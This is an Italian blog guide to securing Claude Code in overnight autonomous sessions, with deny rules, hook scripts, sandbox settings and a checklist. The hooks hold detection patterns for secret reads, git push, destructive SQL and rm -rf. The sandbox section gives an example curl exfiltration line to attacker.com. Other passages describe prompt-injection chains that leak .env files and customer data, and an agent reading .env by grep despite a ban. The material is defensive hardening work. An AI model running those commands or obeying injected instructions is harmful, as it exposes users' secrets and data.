Blog

Claude Code di notte: proteggere progetto e dati

Markdown

7 hook, settings.json con le autorizzazioni e una checklist in 12 punti per lasciare Claude Code al lavoro durante la notte senza perdere .env o un database. Protezione in 4 livelli.

Leggi l’articolo completo

Documentazione Ailoot — materiali di riferimento per usare il servizio.

Cosa cambia nel 2026: Claude Code autonomo e incidenti reali

Punto chiave

Nel 2026, Anthropic ha introdotto auto-mode, /loop e /schedule: Claude Code ora può lavorare per ore senza chiedere conferme. Il prezzo dell’autonomia sono incidenti reali: database di produzione cancellati, fughe di .env e un bug in permissions.deny che non è ancora stato corretto. Questa guida mostra 4 livelli di protezione da predisporre prima della prima sessione notturna.

In precedenza, Claude Code si fermava dopo ogni risposta e chiedeva il permesso per ogni scrittura. Era scomodo, ma sicuro: non potevi addormentarti durante un incidente perché l’agente sarebbe rimasto in attesa del tuo «sì». Nel 2026, quel modello è cambiato. Anthropic ha introdotto auto-mode: un agente classificatore separato decide per tuo conto se autorizzare ogni azione. È apparso il comando /loop (esegue un prompt a intervalli all’interno di una sessione), così come /schedule (pianificazione in stile cron per attività di lunga durata). Le sessioni in background avviate con claude --bg eseguono l’agente in background senza un terminale. Ho trattato nel dettaglio la modalità autonoma nella guida «/goal in Claude Code: modalità autonoma e Agent View».

Il problema è che l’autonomia è stata introdotta più rapidamente di quanto sia stata rafforzata la sicurezza.

Un paio di settimane fa gli ho chiesto di «fare pulizia» e ha finito per cancellare sia il mio database di produzione sia quello di sviluppo.

— browningstreet

Allo stesso tempo, nel repository di Anthropic ci sono due bug aperti che dovresti conoscere prima di aggiungere permissions.deny al tuo settings.json:

  • Issue #44868 (7 aprile 2026): Claude Code legge il contenuto di .env tramite grep -n e lo inserisce nella trascrizione della chat, nonostante un divieto esplicito in CLAUDE.md. Il bug è aperto.
  • Issue #24846 (11 febbraio 2026): le regole permissions.read.deny per i pattern .env* non vengono applicate: Read legge .env.local nonostante il pattern di divieto sia corretto. È stata chiusa come duplicato, ma non è stata corretta.

Queste lacune mostrano che un solo livello in settings.json non basta. Segue un modello di permessi, hook, sandbox e separazione delle sessioni. Ogni livello può ridurre l’esposizione senza rendere completi gli altri. La valutazione auto-mode citata non dimostra che una regex ne intercetti i mancati blocchi. Per la produzione usa isolamento del sistema operativo senza credenziali o scritture di produzione, limita la rete fuori dal modello e prova i confini prima dell’esecuzione non presidiata.

Quali sono le zone verde e rossa di un progetto?

Punto chiave

Zona verde: un progetto locale senza clienti reali né denaro. Zona rossa: tutto ciò che ha un database di produzione, gestisce pagamenti o contiene dati personali. Nella zona verde usa un ambiente recuperabile, isolato e senza credenziali importanti. Nella zona rossa i quattro livelli sono controlli aggiuntivi da verificare e --dangerously-skip-permissions non deve concedere accesso di produzione.

Non ha senso costruire la stessa protezione per ogni progetto. Un progetto personale locale sulla tua macchina, che non è distribuito all’esterno, comporta un livello di rischio completamente diverso da un servizio che gestisce pagamenti reali e archivia dati dei clienti. Se usi la stessa protezione ovunque, rallenterai il lavoro nella zona verde e lascerai comunque delle lacune in quella rossa.

Clienti, pagamenti o dati personali richiedono controlli più stringenti, ma anche un progetto personale può contenere dati o chiavi importanti. Prima di usare auto-mode verifica una copia isolata, permessi limitati e recupero; non presumere che l’assenza di clienti elimini la necessità di isolamento.

Il principio fondamentale: il livello di protezione dipende dalla zona. La fase di sviluppo non conta. Un progetto personale sulla tua macchina con un account Stripe di test è nella zona verde. Un servizio con un cliente pagante e un modulo di registrazione è già nella zona rossa, anche se sembra ancora una «bozza». Confondere queste zone è una trappola comune nei progetti all’inizio: «siamo ancora in bozza, aggiungeremo la protezione più avanti», e poi la settimana successiva arriva il primo pagamento di un cliente.

Come funziona la gerarchia delle autorizzazioni in settings.json?

Punto chiave

In settings.json, le regole deny hanno sempre la precedenza su allow, mentre gli ambiti (user → project → local → managed) vengono uniti anziché sovrascritti. Un divieto a livello utente per .env, *.pem e ~/.ssh/** ti protegge anche nel repository di qualcun altro. Anche la chiave disableBypassPermissionsMode blocca a livello architetturale la modalità YOLO.

Anthropic descrive la gerarchia di valutazione delle autorizzazioni nella documentazione ufficiale: prima vengono controllate le regole deny, poi ask e infine allow; vince la prima regola corrispondente. Ciò significa che deny prevale sempre su allow. Se vieti la lettura di .env in ~/.claude/settings.json e qualcuno imposta allow nel file .claude/settings.json del progetto, avrà effetto il tuo divieto, non la sua autorizzazione.

Esempio di un file ~/.claude/settings.json minimale e sicuro a livello utente:

{
  "permissions": {
    "deny": [
      "Read(./.env)",
      "Read(./.env.*)",
      "Read(**/.env)",
      "Read(**/.env.*)",
      "Read(*.pem)",
      "Read(*.key)",
      "Read(**/credentials*.json)",
      "Read(~/.ssh/**)",
      "Read(~/.aws/**)",
      "Read(~/.gnupg/**)"
    ]
  },
  "disableBypassPermissionsMode": "disable"
}

Che cosa succede qui? Le prime sei regole impediscono la lettura di file segreti nella directory corrente e in tutte le sottodirectory. *.pem e *.key sono chiavi SSL/TLS e chiavi SSH. credentials*.json è un nome di file tipico usato dai provider cloud. Le ultime tre regole riguardano directory di sistema che contengono chiavi SSH, credenziali AWS e chiavi GPG.

La chiave disableBypassPermissionsMode: "disable" blocca il flag --dangerously-skip-permissions (noto anche come modalità YOLO). Elimina per sempre una categoria di errori: anche se aggiungi per sbaglio questo flag a uno script o a un alias, Claude Code si rifiuterà di accettarlo. Non si limiterà a rimuoverlo: restituirà l’errore «mode disabled by managed settings».

Inoltre, a partire dalla versione 2.1.142, la chiave defaultMode: "auto" viene ignorata se si trova nelle impostazioni di progetto o locali. Questo protegge dalla situazione «sono entrato nel repository di qualcun altro e il suo .claude/settings.json ha attivato automaticamente la modalità auto per impostazione predefinita». Anthropic ha dichiarato esplicitamente che i repository non possono attivare auto-mode senza il consenso dell’utente.

Questa è la prima linea di protezione. Non puoi fermarti qui, perché presenta due lacune che vedrai nella sezione successiva.

Perché permissions.deny non basta: 2 issue GitHub aperte

Punto chiave

Nell’aprile 2026, un utente ha segnalato l’issue #44868 nel repository di Anthropic: Claude legge .env tramite grep -n e ne stampa il contenuto nella trascrizione, nonostante il divieto in CLAUDE.md. A febbraio, l’issue #24846 ha segnalato che permissions.read.deny per .env* non funziona a livello dello strumento Read. Entrambe sono ancora aperte e dimostrano che settings.json senza un hook aggiuntivo è un setaccio che perde.

Se permissions.deny funzionasse, la guida potrebbe concludersi alla sezione precedente. Ma non funziona.

Issue #44868 (7 aprile 2026): l’utente ha aggiunto esplicitamente in CLAUDE.md il divieto di leggere .env, .dev.vars e altri file contenenti segreti. Invece di usare Read, Claude ha eseguito grep -n SOMETHING .env. Il comando grep -n stampa l’intera riga corrispondente con il relativo numero, incluso il token API effettivo. Quella riga entra in tool_result, viene visualizzata nella trascrizione della sessione e viene salvata nella cronologia.

Il dettaglio sottile su cui l’autore richiama l’attenzione è che il riflesso di sicurezza del modello scatta dopo che l’output è già stato prodotto, non prima dell’esecuzione del comando. In altre parole, Claude esegue prima grep, ottiene una riga contenente il token e la stampa nella chat; solo dopo si accorge dell’errore e si «scusa». A quel punto il token è già nella cronologia della chat. L’unico rimedio è ruotare la chiave.

Issue #24846 (11 febbraio 2026): l’utente ha configurato permissions.read.deny con un elenco che includeva il pattern **/.env*. Poi ha chiesto a Claude di leggere .env.local. Lo strumento Read è stato completato senza errori e ha stampato il contenuto del file.

L’issue è stata chiusa come duplicato, ma non è stata corretta. Al momento della stesura di questa guida (giugno 2026), è ancora possibile riprodurla.

Il livello 1 in settings.json non è inutile, ma gli esempi non misurano la percentuale di letture accidentali prevenute. Ma non impedisce i comandi tramite Bash (cat .env, grep API_KEY .env, head .env), i bug di applicazione delle regole (issue #24846) o le catene ingegnose che usano git diff o git show su un commit contenente .env. Per questo serve un secondo livello: gli hook.

Come possono gli hook bloccare azioni pericolose riconosciute?

Punto chiave

In Claude Code, gli hook sono script shell eseguiti in risposta a eventi specifici (PreToolUse, UserPromptSubmit, Stop) e possono bloccare un’azione con il codice di uscita 2 o con JSON contenente permissionDecision: "deny". A differenza delle autorizzazioni e di CLAUDE.md, un hook è middleware: intercetta una chiamata prima dell’esecuzione, senza coinvolgere il modello.

Gli hook operano a un livello di astrazione diverso dalle autorizzazioni. Le autorizzazioni sono regole che il modello prende in considerazione quando decide cosa fare. Un hook funziona diversamente: il modello decide di chiamare uno strumento, l’hook viene eseguito tra il modello e il sistema, controlla l’input e consente o blocca la chiamata. Il modello non partecipa alla decisione dell’hook: è codice shell che scrivi tu.

Anthropic descrive il comportamento di blocco nella documentazione ufficiale sugli hook:

Il codice di uscita 2 indica un errore bloccante. Claude Code ignora stdout e tutto il JSON che contiene. Invece, il testo di stderr viene inviato a Claude come messaggio di errore.

— Documentazione di Claude Code (Hooks), https://code.claude.com/docs/en/hooks

Questo significa due cose. Un hook bloccante configurato correttamente può negare la chiamata corrispondente. In PreToolUse, exit 2 la blocca senza dimostrare che lo script riconosca ogni comando pericoloso equivalente. Secondo, puoi inserire un messaggio significativo in stderr: Claude lo leggerà come un errore e proverà un altro approccio. In altre parole, un hook non è solo una «recinzione», ma una «recinzione con un cartello che spiega perché non puoi passare».

Eventi che possono essere bloccati con il codice di uscita 2:

  • PreToolUse: blocca la chiamata allo strumento prima dell’esecuzione. È l’evento principale per gli hook difensivi.
  • PermissionRequest: nega l’autorizzazione per un’azione per cui Claude ha chiesto il permesso.
  • UserPromptSubmit: blocca ed elimina il prompt dell’utente. Utile se il prompt contiene testo sospetto (per esempio, un’iniezione di prompt proveniente da un’email preparata ad arte).
  • Stop: impedisce a Claude di terminare la sessione. Può essere usato come «loop» per mantenere l’agente al lavoro finché non viene soddisfatta una condizione.
  • PreCompact: blocca la compattazione automatica del contesto. Utile se vuoi conservare la trascrizione finché non prendi una decisione manuale.
  • WorktreeCreate: rifiuta la creazione di un worktree. Protegge dal tentativo di Claude di clonare un repository in una posizione imprevista.

Un’alternativa al codice di uscita 2 è restituire JSON con un campo hookSpecificOutput.permissionDecision. permissionDecision può avere quattro valori:

  • allow: autorizza esplicitamente l’azione, saltando il normale flusso delle autorizzazioni.
  • deny: blocca l’azione, equivalente al codice di uscita 2 per PreToolUse.
  • ask: chiede l’intervento dell’utente (compare una finestra di dialogo).
  • defer: rimanda la decisione alla normale logica delle autorizzazioni.

Questo dà a un hook più controllo rispetto a un codice di uscita. Con permissionDecision: "ask" puoi trasformare operazioni silenziose in operazioni che richiedono conferma, senza bloccarle del tutto. È ciò che faccio per npm install <new package> e le modifiche ai file di lock.

Se vuoi saperne di più sul funzionamento degli hook e sui 31 eventi attualmente disponibili in Claude Code, ne ho parlato in una guida separata: «Hook in Claude Code: 7 regole pronte da copiare». Ora vediamo hook specifici per il lavoro autonomo.

Quali 7 hook uso per lavorare durante la notte?

Punto chiave

Hook PreToolUse illustrativi per 7 scenari: segnalare alcune letture di segreti, bloccare git push letterali riconosciuti, filtrare schemi SQL e rm -rf, esaminare installazioni e manifest e registrare chiamate corrispondenti. Prova localmente corrispondenze ed omissioni prima dell’attivazione. Le regex sono incomplete e non dimostrano un confine di sicurezza di produzione.

Questo è il secondo livello di protezione, a supporto del primo. Tutti gli hook si trovano in .claude/hooks/, vengono registrati tramite .claude/settings.json e richiedono che jq sia installato.

Hook 1: proteggere .env, .pem e credentials.json dalla lettura

Aggiunge controlli su percorsi Read selezionati e comuni letture di segreti in Bash. Non intercetta ogni strumento o modo di leggere un segreto. File: .claude/hooks/block-secret-reads.sh:

#!/bin/bash
INPUT=$(cat)
TOOL=$(echo "$INPUT" | jq -r '.tool_name')
ARG=$(echo "$INPUT" | jq -r '.tool_input.file_path // .tool_input.command // ""')

# Read tool with a suspicious path
if [ "$TOOL" = "Read" ] && echo "$ARG" | grep -qE '(\.env|\.pem|\.key|credentials\.json|secrets/|\.ssh/|\.aws/)'; then
  jq -n '{
    hookSpecificOutput: {
      hookEventName: "PreToolUse",
      permissionDecision: "deny",
      permissionDecisionReason: "Secret file. Use op:// references or env vars."
    }
  }'
  exit 0
fi

# Bash that reads secrets via cat/grep/head
if [ "$TOOL" = "Bash" ] && echo "$ARG" | grep -qE '\b(cat|grep|head|tail|less|more|awk|sed|xxd)\b.*(\.env|\.pem|credentials)'; then
  jq -n '{
    hookSpecificOutput: {
      hookEventName: "PreToolUse",
      permissionDecision: "deny",
      permissionDecisionReason: "Reading secrets via shell is blocked."
    }
  }'
  exit 0
fi

exit 0

Registrazione in .claude/settings.json:

{
  "hooks": {
    "PreToolUse": [
      {
        "matcher": "Read|Bash",
        "hooks": [{
          "type": "command",
          "command": "${CLAUDE_PROJECT_DIR}/.claude/hooks/block-secret-reads.sh"
        }]
      }
    ]
  }
}

Dopo l’installazione, esegui chmod +x .claude/hooks/block-secret-reads.sh. Test: chiedi a Claude di leggere .env.local e riceverai la risposta «Secret file. Use op:// references or env vars.» invece del contenuto del file.

Hook 2: bloccare i git push letterali nelle sessioni notturne

Per una sessione non presidiata, l’esempio blocca prudentemente ogni git push letterale riconosciuto, anche verso branch di funzionalità. Non deduce il branch attuale né decide se un flag force sia sicuro. File: .claude/hooks/block-force-push.sh:

#!/bin/bash
INPUT=$(cat)
CMD=$(echo "$INPUT" | jq -r '.tool_input.command // ""')

if echo "$CMD" | grep -qE '(^|[[:space:];|&()])git[[:space:]]+push([[:space:];|&()]|$)'; then
  jq -n '{
    hookSpecificOutput: {
      hookEventName: "PreToolUse",
      permissionDecision: "deny",
      permissionDecisionReason: "Push disabled in overnight session. Use supervised review."
    }
  }'
fi

exit 0

Registralo in PreToolUse con matcher Bash. Bloccare il comando riconosciuto invece di interpretarne flag e branch intercetta git push --force origin main, git push origin main --force, git push -f, git push origin HEAD:main e push letterali dentro catene && o ;. Sono esempi di confronto testuale offline, non comandi da eseguire su un remoto.

Resta un’euristica testuale: alias Git, funzioni shell, git -C ... push, nomi costruiti, script e altri strumenti possono eluderla. Non è un parser shell completo. Applica protezioni dei branch sul server Git, elimina credenziali capaci di bypassarle e usa un ambiente isolato senza scritture di produzione. Una corrispondenza mancata non deve concedere autorità di produzione.

Hook 3: bloccare le operazioni SQL distruttive

Affronta direttamente gli incidenti di cancellazione dei database. File: .claude/hooks/block-destructive-sql.sh:

#!/bin/bash
INPUT=$(cat)
CMD=$(echo "$INPUT" | jq -r '.tool_input.command // ""')

# DROP TABLE / DATABASE / SCHEMA, TRUNCATE
if echo "$CMD" | grep -iqE '\b(DROP\s+(TABLE|DATABASE|SCHEMA)|TRUNCATE\s+TABLE)\b'; then
  jq -n '{
    hookSpecificOutput: {
      hookEventName: "PreToolUse",
      permissionDecision: "deny",
      permissionDecisionReason: "Destructive DDL blocked. Use migrations with explicit human approval."
    }
  }'
  exit 0
fi

# DELETE FROM without WHERE
if echo "$CMD" | grep -iqE '\bDELETE\s+FROM\b' && ! echo "$CMD" | grep -iqE '\bWHERE\b'; then
  jq -n '{
    hookSpecificOutput: {
      hookEventName: "PreToolUse",
      permissionDecision: "deny",
      permissionDecisionReason: "DELETE without WHERE blocked. Confirm scope explicitly."
    }
  }'
  exit 0
fi

# UPDATE without WHERE
if echo "$CMD" | grep -iqE '\bUPDATE\s+\S+\s+SET\b' && ! echo "$CMD" | grep -iqE '\bWHERE\b'; then
  jq -n '{
    hookSpecificOutput: {
      hookEventName: "PreToolUse",
      permissionDecision: "ask",
      permissionDecisionReason: "UPDATE without WHERE will affect all rows. Confirm scope."
    }
  }'
  exit 0
fi

exit 0

Registralo: PreToolUse con matcher: "Bash". Nota la differenza: DROP e DELETE senza WHERE sono bloccati del tutto, mentre UPDATE senza WHERE diventa ask: a volte può essere legittimo (per esempio, impostare un flag su tutti i record durante una migrazione), ma richiede sempre conferma manuale.

Hook 4: filtro rm -rf

Esempio canonico della documentazione di Anthropic, adattato per negare l’azione con una motivazione:

#!/bin/bash
INPUT=$(cat)
CMD=$(echo "$INPUT" | jq -r '.tool_input.command // ""')

# rm -rf /, ~, $HOME, * without explicit scope
if echo "$CMD" | grep -qE 'rm\s+-rf?\s+(\.|/|~|\$HOME|\*)\s*$' || echo "$CMD" | grep -qE 'rm\s+-rf?\s+(\.|/|~)/'; then
  jq -n '{
    hookSpecificOutput: {
      hookEventName: "PreToolUse",
      permissionDecision: "deny",
      permissionDecisionReason: "Destructive rm without explicit scope. Specify the directory."
    }
  }'
fi

exit 0

L’hook consente rm -rf node_modules, rm -rf .next/cache e altre eliminazioni circoscritte in modo esplicito. Blocca rm -rf ., rm -rf /, rm -rf ~ e comandi simili che «cancellano tutto».

Hook 5: chiedere conferma per l’installazione di nuovi pacchetti

Questo hook contrasta gli attacchi alla supply chain. Se Claude decide autonomamente di aggiungere una nuova dipendenza, compare una finestra di dialogo:

#!/bin/bash
INPUT=$(cat)
CMD=$(echo "$INPUT" | jq -r '.tool_input.command // ""')

# Installing dependencies from a lockfile—allow
if echo "$CMD" | grep -qE '\b(npm install|pnpm install|yarn install|pip install -r)\s*$'; then
  exit 0
fi

# Adding new packages
if echo "$CMD" | grep -qE '\b(npm install|pnpm add|yarn add|pip install|uv add)\s+\S'; then
  jq -n '{
    hookSpecificOutput: {
      hookEventName: "PreToolUse",
      permissionDecision: "ask",
      permissionDecisionReason: "Adding new dependency. Confirm package name and version."
    }
  }'
fi

exit 0

L’hook fa procedere liberamente le installazioni dal file di lock, mentre per aggiungere una nuova dipendenza serve conferma.

Hook 6: proteggere package.json e il file di lock

Qualsiasi modifica a un manifest delle dipendenze è un segnale che qualcuno dovrebbe controllarla, soprattutto durante la notte.

#!/bin/bash
INPUT=$(cat)
PATH_ARG=$(echo "$INPUT" | jq -r '.tool_input.file_path // ""')

if echo "$PATH_ARG" | grep -qE '(package\.json|pnpm-lock\.yaml|package-lock\.json|yarn\.lock|requirements\.txt|pyproject\.toml|Cargo\.toml|go\.mod)$'; then
  jq -n '{
    hookSpecificOutput: {
      hookEventName: "PreToolUse",
      permissionDecision: "ask",
      permissionDecisionReason: "Dependency manifest change. Confirm scope before write."
    }
  }'
fi

exit 0

Registralo con PreToolUse e il matcher Write|Edit.

Hook 7: registro di controllo end-to-end di tutte le chiamate Bash

Se qualcosa va storto durante la notte, ti serve un registro completo per ricostruire la sequenza degli eventi. Registralo in settings.json (l’hook non ha uno script separato: fa tutto jq):

{
  "hooks": {
    "PreToolUse": [
      {
        "matcher": "Bash|Write|Edit",
        "hooks": [{
          "type": "command",
          "command": "jq -c '{ts: now, tool: .tool_name, cmd: (.tool_input.command // .tool_input.file_path), cwd: .tool_input.cwd}' >> ${CLAUDE_PROJECT_DIR}/.claude/audit.jsonl; exit 0"
        }]
      }
    ]
  }
}

Il file .claude/audit.jsonl cresce di una riga alla volta. Al mattino, dopo un /loop notturno, puoi eseguire tail -n 100 .claude/audit.jsonl | jq e vedere che cosa ha fatto l’agente in ogni fase. È fondamentale per un’analisi post mortem, perché la trascrizione della sessione può essere lunga e difficile da leggere, mentre il registro di controllo offre una cronologia chiara.

In che modo sandbox e isolamento worktree proteggono le sessioni lunghe?

Punto chiave

La sandbox in Claude Code isola il file system e la rete. Anthropic dichiara una riduzione dell’84% delle richieste di autorizzazione con lo stesso livello di sicurezza. L’isolamento di rete blocca l’esfiltrazione di .env verso un server remoto, anche se l’agente lo ha già letto. Per le sessioni lunghe in background, sandbox + worktree sono obbligatori.

Se gli hook sono una «recinzione con un cartello», la sandbox è una «recinzione + fossato + rete antidrone». È il quarto livello di protezione e copre le situazioni in cui gli hook lasciano passare un’azione, ma eseguirla non dovrebbe comunque causare danni fuori dall’ambiente.

Nel suo articolo sul blog dedicato alla sandbox (20 ottobre 2025), Anthropic riporta misurazioni interne:

Secondo i nostri dati interni, la sandbox riduce in sicurezza le richieste di autorizzazione dell’84%.

— Anthropic Engineering, https://www.anthropic.com/engineering/claude-code-sandboxing

Questo significa che, quando attivi /sandbox, Claude smette di chiedere l’autorizzazione per l’84% delle azioni, perché fisicamente non possono uscire dalla sandbox. È utile per la velocità, ma non è il vantaggio principale.

La sandbox offre due livelli di isolamento, ciascuno con una funzione specifica:

Isolamento del file system limita la lettura e la scrittura alle directory esplicitamente autorizzate. Anche se un hook non rileva un tentativo di scrivere in /etc/hosts o leggere ~/.ssh/id_rsa, la sandbox impedirà la chiamata di sistema. È una protezione a livello del sistema operativo, invisibile al livello applicativo.

Isolamento della rete consente connessioni solo ai server approvati. È fondamentale per gli attacchi di esfiltrazione. Scenario: un’iniezione di prompt in un file preparato ad arte induce Claude a leggere .env (l’hook non se ne accorge perché la lettura segue un percorso insolito), poi il modello decide di eseguire curl -X POST attacker.com -d "$ENV_CONTENT". Senza isolamento della rete, funziona. Con l’isolamento, curl non può raggiungere attacker.com perché l’host non è nell’elenco.

Avviala con il comando /sandbox all’interno di Claude Code. Configurala in ~/.claude/settings.json:

{
  "sandbox": {
    "filesystem": {
      "allow": ["${CLAUDE_PROJECT_DIR}", "/tmp/claude-sandbox"],
      "deny": ["~/.ssh", "~/.aws", "~/.gnupg", "/etc"]
    },
    "network": {
      "allow": [
        "api.anthropic.com",
        "github.com",
        "registry.npmjs.org",
        "pypi.org"
      ]
    }
  }
}

Per le lunghe sessioni in background avviate con claude --bg, aggiungi l’isolamento worktree alla sandbox. È un meccanismo nativo di Claude Code: ogni sessione in background viene spostata automaticamente nel proprio .claude/worktrees/<name>/ su un branch separato. In questo modo, le sessioni parallele non interferiscono mentre scrivono negli stessi file. Ho trattato nel dettaglio l’isolamento worktree nella guida «Agent View e worktree: la modalità autonoma di Claude Code».

La sandbox fa parte del ciclo di feedback. Quando Claude sa che le sue azioni sono limitate, lavora con più attenzione ed esplicita con maggiore chiarezza i passaggi intermedi.

Dove funziona auto-mode nel 2026 e dove no?

Punto chiave

Auto-mode in Claude Code è un classificatore Sonnet 4.6 che sostituisce le autorizzazioni manuali con decisioni automatiche basate sulle regole di Anthropic. Secondo la stessa Anthropic, il tasso di falsi negativi sulle azioni pericolose è del 17% e la sessione si interrompe dopo 3 rifiuti consecutivi del classificatore o 20 rifiuti complessivi. Nella zona verde è una valida alternativa all’approvazione manuale. Nella zona rossa gli hook restano necessari.

Nel marzo 2026, Anthropic ha introdotto auto-mode come «una via di mezzo tra la revisione manuale e l’assenza di protezioni». È un modello Sonnet 4.6 separato che valuta ogni azione di Claude in base a una serie di criteri prima dell’esecuzione. Anthropic ne ha descritto il funzionamento nel blog Anthropic Engineering:

Auto-mode è una nuova modalità di Claude Code che delega le approvazioni a classificatori basati su modelli. È una via di mezzo tra la revisione manuale e l’assenza di protezioni.

— Anthropic Engineering, https://www.anthropic.com/engineering/claude-code-auto-mode

Auto-mode ha due limiti importanti:

  • Se una sessione accumula 3 rifiuti consecutivi o 20 rifiuti complessivi del classificatore, il modello si ferma e chiede l’intervento di una persona. Questo protegge dalla situazione in cui «Claude entra in un loop e cerca di aggirare una restrizione formulando lo stesso comando in 100 modi diversi».
  • Auto-mode consente un’azione se assomiglia al 93% dei casi tipici che gli utenti approvano comunque. Riduce la fatica da autorizzazioni, ma non protegge dalle azioni pericolose atipiche.

Ed ecco il dato principale a cui prestare attenzione:

Un tasso di falsi negativi del 17% sulle azioni reali eccessivamente disinvolte: questo è il dato onesto.

— Anthropic Engineering, https://www.anthropic.com/engineering/claude-code-auto-mode

Il 17% riferito è il tasso di falsi negativi di quella valutazione, non una probabilità per ogni azione del tuo progetto. Non dimostra che gli hook d’esempio intercettino gli errori. Nella zona rossa servono isolamento forzato da segreti e scritture di produzione, branch protetti sul server e credenziali senza bypass.

Usa gli hook come verifiche aggiuntive in un ambiente eliminabile e recuperabile. Anche un progetto locale può contenere file non tracciati o credenziali che Git non ripristina. Nella zona rossa una mancata corrispondenza va contenuta con controlli effettivi: le regex non rendono l’esecuzione shell arbitraria deterministicamente sicura.

Perché separare i contesti in tre tipi di sessione?

Punto chiave

La catena più pericolosa è composta da tre normali comandi consecutivi, non da un solo comando sbagliato. L’agente legge .env (legittimo), analizza un’email in arrivo (legittimo) e invia una richiesta HTTP all’esterno (legittimo). Ogni azione, da sola, è sicura; insieme costituiscono un’esfiltrazione. La protezione consiste nel separare i tre tipi di attività in sessioni distinte con autorizzazioni diverse.

Tre tipi di attività non dovrebbero mai convivere nella stessa sessione:

Tipo 1: lavorare con dati personali. La sessione accede al database di produzione, può inviare email e può vedere le credenziali. NON accede a documenti esterni (email, PDF, pagine web) e NON PUÒ inviare dati a indirizzi arbitrari.

Tipo 2: elaborare documenti esterni. La sessione può analizzare le email in arrivo, scaricare pagine web e leggere PDF ricevuti via email. NON accede a un database contenente dati personali e NON PUÒ inviare alcunché all’esterno senza conferma esplicita.

Tipo 3: pubblicare all’esterno. La sessione può pubblicare sui social network, inviare campagne email e creare pull request. NON accede ai dati personali e NON analizza contenuti in arrivo.

Perché separarli? Se una sessione fa tutto, basta una singola iniezione di prompt in un PDF preparato ad arte (un’agenzia concorrente ha inviato una «fattura») perché l’agente legga al primo tentativo il database dei clienti, trovi i loro indirizzi email e li invii all’indirizzo di un aggressore. Ogni azione in questa catena è legittima per il proprio tipo di attività. Insieme, costituiscono una fuga di dati.

Il modello di esfiltrazione più spaventoso non consiste in un comando sbagliato, ma in una catena di comandi del tutto normali. L’agente legge .env (consentito), lo invia tramite HTTP (consentito) e il gioco è fatto.

— ibrahim_h, HackerNews

In pratica, si realizza usando directory .claude diverse per i vari tipi di attività. Sulla mia macchina tengo tre configurazioni: ~/projects/business-ops/.claude/ (tipo 1, accesso al database, rete negata tranne che per le API interne), ~/projects/inbox-parsing/.claude/ (tipo 2, rete completamente negata), ~/projects/social-posting/.claude/ (tipo 3, rete consentita per le API di Telegram, X e Slack). Ogni directory è un progetto separato per Claude Code, con autorizzazioni e hook propri.

Quali sono i 12 punti della checklist da seguire prima di /loop?

Punto chiave

Una checklist in 12 punti che seguo prima di avviare /loop, /schedule o claude --bg durante la notte. Va da ~/.claude/settings.json con un divieto di base fino a /sandbox con isolamento di rete. Se anche un solo punto non è coperto, non avvio la sessione.

  1. ~/.claude/settings.json con deny a livello utente per .env*, *.pem, *.key, credentials*.json, ~/.ssh/**, ~/.aws/**. È la base: senza di essa, tutto il resto è inutile.

  2. disableBypassPermissionsMode: "disable" in ~/.claude/settings.json. Blocca per sempre il flag YOLO.

  3. Gli esempi block-secret-reads.sh sono provati sulle letture selezionate; segreti reali e credenziali di produzione restano inaccessibili all’ambiente non presidiato.

  4. L’esempio block-force-push.sh blocca push letterali riconosciuti indipendentemente da ordine dei flag o destinazione; server Git impone branch protetti e credenziali senza bypass.

  5. L’hook block-destructive-sql.sh per DROP TABLE, TRUNCATE e DELETE FROM senza WHERE.

  6. L’hook block-rm-rf.sh per rm -rf senza un ambito esplicito.

  7. L’hook ask-on-new-deps.sh per npm install <new package> (separato da npm install senza argomenti).

  8. L’hook ask-on-lockfile-change.sh per le scritture a package.json, pnpm-lock.yaml, requirements.txt, pyproject.toml e Cargo.toml.

  9. Un registro di controllo generico audit.jsonl per tutte le chiamate Bash, Write ed Edit. Senza, un’analisi post mortem è impossibile.

  10. Tutte le sessioni lunghe in background vengono eseguite in un worktree, mai sul branch principale: claude --bg "task" crea automaticamente un worktree, ma verifica che settings.json non contenga worktree.bgIsolation: "none".

  11. /sandbox prima di avviare un’attività autonoma di lunga durata. Il file system è limitato alla directory del progetto e a /tmp. La rete usa una lista di autorizzazioni composta da api.anthropic.com, github.com e registry.npmjs.org.

  12. Un passaggio di verifica all’interno dell’attività: dopo ogni modifica importante, esegui il test runner o il linter. Se falliscono, l’agente non prosegue finché il problema non viene risolto.

L’ultimo punto è una modalità di lavoro, non un’impostazione di uno strumento. Dai a Claude un modo per controllare il proprio lavoro. Senza verifica, durante la notte l’agente continua con «credo di averlo fatto bene, vado avanti», accumulando errori fino al mattino. Con la verifica, non prosegue finché il controllo non è superato.

7 anti-pattern: cosa NON fare

Punto chiave

Sette errori comuni tratti dai progetti descritti qui: usare --dangerously-skip-permissions su una macchina con accesso alla produzione, affidarsi solo a CLAUDE.md, fidarsi di permissions.deny senza un hook aggiuntivo e usare auto-mode senza regole di backup. Ogni errore è collegato a incidenti reali descritti nelle fonti.

1. --dangerously-skip-permissions su una macchina host con accesso alla produzione. Browningstreet ha perso i database di produzione e di sviluppo con un solo comando «fai pulizia». Un errore costa ore di ripristino, oltre alla perdita dei dati non inclusi nel backup. Se l’incidente è già avvenuto, apri «Cosa fare se l’IA ha cancellato un database: checklist di ripristino» e segui i 10 passaggi in ordine.

2. Affidarsi solo a CLAUDE.md per la sicurezza. L’issue #44868 ha dimostrato che il modello agisce prima e si scusa dopo. Un’istruzione consultiva in un file di testo non blocca una chiamata a uno strumento. Un hook configurato correttamente blocca le chiamate corrispondenti, mentre sistema operativo, sandbox e servizi impongono confini più ampi. CLAUDE.md è importante per il contesto del progetto; ne ho parlato separatamente in «Come configurare correttamente CLAUDE.md», ma non protegge da un agente autonomo.

3. Affidarsi solo a permissions.deny in settings.json senza un hook aggiuntivo. L’issue #24846 è aperta da febbraio 2026. Il divieto per .env* può essere aggirato tramite grep in Bash. Un hook aggiunge controlli, ma i segreti vanno anche esclusi dall’ambiente non presidiato: una regex non sostituisce interamente il controllo d’accesso.

4. Scambiare auto-mode e regex per isolamento di produzione. Il tasso di falsi negativi è specifico della valutazione e la copertura degli hook incompleta. Rimuovi le credenziali di scrittura di produzione e verifica il confine forzato senza presumere l’intercettazione di ogni azione.

5. Installare un nuovo pacchetto con npm install senza conferma. Gli attacchi alla supply chain sono reali. Gli incidenti con Tea e i tag del 2024–2026 hanno mostrato l’esistenza di pacchetti con migliaia di download che usurpano il nome di altri pacchetti a causa di errori di digitazione. Serve una lista di autorizzazioni.

6. Non registrare le chiamate Bash. Senza un registro di controllo, non riuscirai a capire che cosa è successo durante la notte. La trascrizione della chat è lunga, non è indicizzata per comando e non fornisce una cronologia. .claude/audit.jsonl risolve entrambi i problemi.

